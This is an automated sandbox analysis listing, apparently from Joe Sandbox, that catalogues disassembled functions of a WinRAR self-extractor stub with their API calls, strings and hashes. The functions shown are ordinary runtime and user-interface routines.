Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
String ID:
API String ID: 1247370737-0
Opcode ID: c10d744862f642fdb4aac9d34dbce341c1b9aa3e28bd5a42c3d556b932620b05
Instruction ID: a7b4c9b5e42422a2ead6294b63c79d681374b9db48bb09519694898799664673
Opcode Fuzzy Hash: c10d744862f642fdb4aac9d34dbce341c1b9aa3e28bd5a42c3d556b932620b05
Instruction Fuzzy Hash: 72411AB25483059FC714DF65D884A6BBBF9FF88315F008A2EF59AC2210E734E549CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00A3AD1E Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00A3AD2A

Strings

<br>, xrefs: 00A3AE1E
</style>, xrefs: 00A3AE72
</p>, xrefs: 00A3AE08
>, xrefs: 00A3AD6B
<style>, xrefs: 00A3AE50

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: _wcslen
String ID: </p>$</style>$<br>$<style>$>
API String ID: 176396367-3568243669
Opcode ID: 77688068a4b0f97e87d45cc52ac2db09c0140374ca22a8f4772c3beda7f82dd5
Instruction ID: 50fed01cec0cad3b5314b32f9fb47c0be67209224143525f32528b30d31dc9ac
Opcode Fuzzy Hash: 77688068a4b0f97e87d45cc52ac2db09c0140374ca22a8f4772c3beda7f82dd5
Instruction Fuzzy Hash: CD51E56674037395DB305B249822B7673E0EFB4792F68482BFDC19B5C0FB658D818262

Uniqueness

Uniqueness Score: -1.00%

Function 00A5084D Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,00A50FC2,00000000,00000000,00000000,00000000,00000000,?), ref: 00A5088F
__fassign.LIBCMT ref: 00A5090A
__fassign.LIBCMT ref: 00A50925
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 00A5094B
WriteFile.KERNEL32(?,00000000,00000000,00A50FC2,00000000,?,?,?,?,?,?,?,?,?,00A50FC2,00000000), ref: 00A5096A
WriteFile.KERNEL32(?,00000000,00000001,00A50FC2,00000000,?,?,?,?,?,?,?,?,?,00A50FC2,00000000), ref: 00A509A3

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 84f1d5b41765b1871ec68ce6c161a454380adfed3c1c1f538c3c7303ecc6575b
Instruction ID: 7d26853d382aa82a813cc56c50b8270d9ffee377603f6ce547e36ae91485c66e
Opcode Fuzzy Hash: 84f1d5b41765b1871ec68ce6c161a454380adfed3c1c1f538c3c7303ecc6575b
Instruction Fuzzy Hash: 9C517E71A00249AFDB10CFA8D885EEEBBB8FF49311F14415AE955E7292E7309945CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00A43A90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00A43AC7
___except_validate_context_record.LIBVCRUNTIME ref: 00A43ACF
_ValidateLocalCookies.LIBCMT ref: 00A43B58
__IsNonwritableInCurrentImage.LIBCMT ref: 00A43B83
_ValidateLocalCookies.LIBCMT ref: 00A43BD8

Strings

csm, xrefs: 00A43B6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 7ba8f9a6711d1900c242b86cd72b74ca73f9dac542ede16494a2d0c0ddab54ef
Instruction ID: 36c5bc185985f31d66c4f8b0a70a692e4cc4e4ba0f52d1167bd87ae584bfea7e
Opcode Fuzzy Hash: 7ba8f9a6711d1900c242b86cd72b74ca73f9dac542ede16494a2d0c0ddab54ef
Instruction Fuzzy Hash: B441D379A01218AFCF10DF69C885B9EBBB4FF85324F148165E8149B392C771AB06CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00A3AEF5 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000), ref: 00A3AF0E
GetWindowRect.USER32(?,?), ref: 00A3AF64
ShowWindow.USER32(?,00000005,00000000), ref: 00A3B001
SetWindowTextW.USER32(?,00000000), ref: 00A3B009
ShowWindow.USER32(00000000,00000005), ref: 00A3B01F

Strings

RarHtmlClassName, xrefs: 00A3AFC5

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: Window$Show$RectText
String ID: RarHtmlClassName
API String ID: 3937224194-1658105358
Opcode ID: 109bbb9c23b7bc429816bc17f7f1d542579174700d77b6688d2448a136e04ba8
Instruction ID: 1742383f225826533b5b04df2405bcb45150b5cc5306972bdcda68f56b8e562d
Opcode Fuzzy Hash: 109bbb9c23b7bc429816bc17f7f1d542579174700d77b6688d2448a136e04ba8
Instruction Fuzzy Hash: BD41CF75804214AFCB21AFB0ED4DB6B7BA9EF48701F144659FD899A062DB70D805CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00A3A975 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 106COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00A3A97E
_wcslen.LIBCMT ref: 00A3A9B3

Strings

<br>, xrefs: 00A3A9FF
, xrefs: 00A3A9D0
<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 00A3A9A7
 , xrefs: 00A3AA41

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: _wcslen
String ID: $ $<br>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 176396367-3743748572
Opcode ID: b539b7cdfcb77c18a12d3129e5ba3ea19c4b0dd32536211457352db098566bbf
Instruction ID: 02fe5cf9f2a86877b8c05535fd7b714866016fbe5844ea21fcb86443ce8384b3
Opcode Fuzzy Hash: b539b7cdfcb77c18a12d3129e5ba3ea19c4b0dd32536211457352db098566bbf
Instruction Fuzzy Hash: 19315B77E44751A7D630AB54AD42B7A73E4EBA0760F20841FF8C657280FB64AD84C3A7

Uniqueness

Uniqueness Score: -1.00%

Function 00A4DA64 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00A4DA28: _free.LIBCMT ref: 00A4DA51

_free.LIBCMT ref: 00A4DAB2

Part of subcall function 00A4A66A: RtlFreeHeap.NTDLL(00000000,00000000,?,00A4DA56,?,00000000,?,00000000,?,00A4DA7D,?,00000007,?,?,00A4DE7A,?), ref: 00A4A680
Part of subcall function 00A4A66A: GetLastError.KERNEL32(?,?,00A4DA56,?,00000000,?,00000000,?,00A4DA7D,?,00000007,?,?,00A4DE7A,?,?), ref: 00A4A692

_free.LIBCMT ref: 00A4DABD
_free.LIBCMT ref: 00A4DAC8
_free.LIBCMT ref: 00A4DB1C
_free.LIBCMT ref: 00A4DB27
_free.LIBCMT ref: 00A4DB32
_free.LIBCMT ref: 00A4DB3D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: ed90a822092467ab948ce4ab8a4e5ff1fef504289117e408d2aed02f462530fb
Instruction ID: 73359e784e9075161e690b28c83d24a0d0a42eb578b6879e4d3bca34777a99ef
Opcode Fuzzy Hash: ed90a822092467ab948ce4ab8a4e5ff1fef504289117e408d2aed02f462530fb
Instruction Fuzzy Hash: A011E635984B04BAD530F7B1CD07FCBB7ECAFA0300F800C24B29E66152DA34B4114742

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F77A Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 45libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,?,00A3F7F5,00A3F758,00A3F9F9), ref: 00A3F791
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 00A3F7A7
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 00A3F7BC

Strings

ReleaseSRWLockExclusive, xrefs: 00A3F7B1
AcquireSRWLockExclusive, xrefs: 00A3F7A1
KERNEL32.DLL, xrefs: 00A3F78C

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 667068680-1718035505
Opcode ID: aa333cc4c7af238820bc1f0adba6a6e567addf45234548d8f8612773de5b45fd
Instruction ID: 08abf680f6bf393433ca34cab60a12d54fdb0d9b71075673671b57521087748d
Opcode Fuzzy Hash: aa333cc4c7af238820bc1f0adba6a6e567addf45234548d8f8612773de5b45fd
Instruction Fuzzy Hash: 0AF0F672F713226F9F609FF45CC456B62DCBA15756B20083BFA51D3244E620CC8697D0

Uniqueness

Uniqueness Score: -1.00%

Function 00A32799 Relevance: 9.1, APIs: 6, Instructions: 98timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32(?,?), ref: 00A327F1

Part of subcall function 00A2C619: GetVersionExW.KERNEL32(?), ref: 00A2C63E

LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00A32815
FileTimeToSystemTime.KERNEL32(?,?), ref: 00A3282F
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 00A32842
SystemTimeToFileTime.KERNEL32(?,?), ref: 00A32852
SystemTimeToFileTime.KERNEL32(?,?), ref: 00A32862

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: cc2776c60e44c517ad6e699a41e3947751e409a6b3728d6903abe382ae285977
Instruction ID: 8c52020ecb2068105187f972a5df7f4d6d2baa2aa0cb2eabc898d966922aedc8
Opcode Fuzzy Hash: cc2776c60e44c517ad6e699a41e3947751e409a6b3728d6903abe382ae285977
Instruction Fuzzy Hash: 4631F775108316ABC704DFA8D88499BBBF8BF9C714F005A2EF999C3210E730D549CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00A43C8A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00A43C81,00A43A3C,00A40BF4), ref: 00A43C98
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00A43CA6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00A43CBF
SetLastError.KERNEL32(00000000,00A43C81,00A43A3C,00A40BF4), ref: 00A43D11

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 6f7b4dc5c1f3f355d5a97681326b49311f94a44dd957c4e27116b64963ab62ed
Instruction ID: 6678186b2a727fcdee30c8a5d04a7e91928d247693bd604b26325e69ca82d3c6
Opcode Fuzzy Hash: 6f7b4dc5c1f3f355d5a97681326b49311f94a44dd957c4e27116b64963ab62ed
Instruction Fuzzy Hash: F301F73F6197225EAE1427B8BDC6B6B2B64FBC5779F300629F610610E1EF915C429680

Uniqueness

Uniqueness Score: -1.00%

Function 00A4A515 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00A63070,00A45982,00A63070,?,?,00A45281,00000050,?,00A63070,00000200), ref: 00A4A519
_free.LIBCMT ref: 00A4A54C
_free.LIBCMT ref: 00A4A574
SetLastError.KERNEL32(00000000,?,00A63070,00000200), ref: 00A4A581
SetLastError.KERNEL32(00000000,?,00A63070,00000200), ref: 00A4A58D
_abort.LIBCMT ref: 00A4A593

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: b43b4adc3bb195d1644a7f909b7f01825da6608f8df44a7fc2132e77a0d322ae
Instruction ID: fe4c4f1ee539a125a9df19eae9e38f9e57032920fe719c4b2164b407a3e6064f
Opcode Fuzzy Hash: b43b4adc3bb195d1644a7f909b7f01825da6608f8df44a7fc2132e77a0d322ae
Instruction Fuzzy Hash: 81F0283D1C0A00A7D201B3746F0AF2B1A759BE1771F350118FA1D931D2FE758D425523

Uniqueness

Uniqueness Score: -1.00%

Function 00A2D4D2 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 00A31907: _wcslen.LIBCMT ref: 00A3190D

Part of subcall function 00A2CD5C: _wcsrchr.LIBVCRUNTIME ref: 00A2CD73

_wcslen.LIBCMT ref: 00A2D5A4
_wcslen.LIBCMT ref: 00A2D5EC

Strings

.sfx, xrefs: 00A2D527
.exe, xrefs: 00A2D518
.rar, xrefs: 00A2D4EE, 00A2D541

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: _wcslen$_wcsrchr
String ID: .exe$.rar$.sfx
API String ID: 3513545583-31770016
Opcode ID: aceda0cb4e675f6a6e50b88cfb90cf7217e15f75178d10ec5031c6e4e6ac9dd7
Instruction ID: 284c20c189cb30f52795f7cf99c258063d6f0074b3d64330de64e1fca2c4990d
Opcode Fuzzy Hash: aceda0cb4e675f6a6e50b88cfb90cf7217e15f75178d10ec5031c6e4e6ac9dd7
Instruction Fuzzy Hash: 1D4137229043709AC731AF78A842A7B73B8FF55759F14492EF8865B182E7A08D81C391

Uniqueness

Uniqueness Score: -1.00%

Function 00A2CF32 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 127COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00A2CF56
GetCurrentDirectoryW.KERNEL32(000007FF,?,?,?,?,00000000,?,?,00A2B505,?,?,00000800,?,?,00A2B4CA,?), ref: 00A2CFF4
_wcslen.LIBCMT ref: 00A2D06A

Strings

UNC, xrefs: 00A2CFD6
\\?\, xrefs: 00A2CF81, 00A2CFC8, 00A2D026, 00A2D07D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: _wcslen$CurrentDirectory
String ID: UNC$\\?\
API String ID: 3341907918-253988292
Opcode ID: cbe272e0bebd193a9c1d14f3448d0028de2b799459b0b68da84b7bcf6a6675ed
Instruction ID: a978e5186bbbf5d43e6a8d1506af91328aaa56d61b614b358d9dcc9008821cb6
Opcode Fuzzy Hash: cbe272e0bebd193a9c1d14f3448d0028de2b799459b0b68da84b7bcf6a6675ed
Instruction Fuzzy Hash: 4B41E531408229BACF21AF68ED01EEE777ABF49351F104435FC96A3066D774D996CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00A3C8CD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

LoadBitmapW.USER32(00000065), ref: 00A3C8DD
GetObjectW.GDI32(00000000,00000018,?), ref: 00A3C902
DeleteObject.GDI32(00000000), ref: 00A3C934
DeleteObject.GDI32(00000000), ref: 00A3C957

Part of subcall function 00A3B6D2: FindResourceW.KERNELBASE(?,PNG,00000000,?,?,?,00A3C92D,00000066), ref: 00A3B6E5
Part of subcall function 00A3B6D2: SizeofResource.KERNEL32(00000000,?,?,?,00A3C92D,00000066), ref: 00A3B6FC
Part of subcall function 00A3B6D2: LoadResource.KERNEL32(00000000,?,?,?,00A3C92D,00000066), ref: 00A3B713
Part of subcall function 00A3B6D2: LockResource.KERNEL32(00000000,?,?,?,00A3C92D,00000066), ref: 00A3B722
Part of subcall function 00A3B6D2: GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,?,00A3C92D,00000066), ref: 00A3B73D
Part of subcall function 00A3B6D2: GlobalLock.KERNEL32(00000000,?,?,?,?,?,00A3C92D,00000066), ref: 00A3B74E
Part of subcall function 00A3B6D2: GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00A3B7B7
Part of subcall function 00A3B6D2: GlobalUnlock.KERNEL32(00000000), ref: 00A3B7D6
Part of subcall function 00A3B6D2: GlobalFree.KERNEL32(00000000), ref: 00A3B7DD

Strings

], xrefs: 00A3C90A

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: GlobalResource$Object$BitmapDeleteLoadLock$AllocCreateFindFreeFromGdipSizeofUnlock
String ID: ]
API String ID: 1428510222-3352871620
Opcode ID: 5df8048082d6ff89ae8cb86ac0c838a684fe8670a9d52a594f4fb13c12810d4c
Instruction ID: 579acaaaa5960b0b34a43531b6dbce47f575b4d1d009bbff2f3fd0fd1160d228
Opcode Fuzzy Hash: 5df8048082d6ff89ae8cb86ac0c838a684fe8670a9d52a594f4fb13c12810d4c
Instruction Fuzzy Hash: 0C01D2329007156BCB1177B49D0AB7F7ABAAF81B61F160124FE01B7292DF718C0697B0

Uniqueness

Uniqueness Score: -1.00%

Function 00A3E750 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00A212F6: GetDlgItem.USER32(00000000,00003021), ref: 00A2133A
Part of subcall function 00A212F6: SetWindowTextW.USER32(00000000,00A545F4), ref: 00A21350

EndDialog.USER32(?,00000001), ref: 00A3E79B
GetDlgItemTextW.USER32(?,00000068,00000800), ref: 00A3E7B1
SetDlgItemTextW.USER32(?,00000066,?), ref: 00A3E7C5
SetDlgItemTextW.USER32(?,00000068), ref: 00A3E7D4

Strings

RENAMEDLG, xrefs: 00A3E768

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: RENAMEDLG
API String ID: 445417207-3299779563
Opcode ID: 90cfc665eb097c3ae47e21d0258627a14d8cc2b5ee38c7fd2c6b78b2dce9f2e1
Instruction ID: 12210973696880fc35718fa99c8e50b5e395cf0d521781547b839a4e8ac8ea93
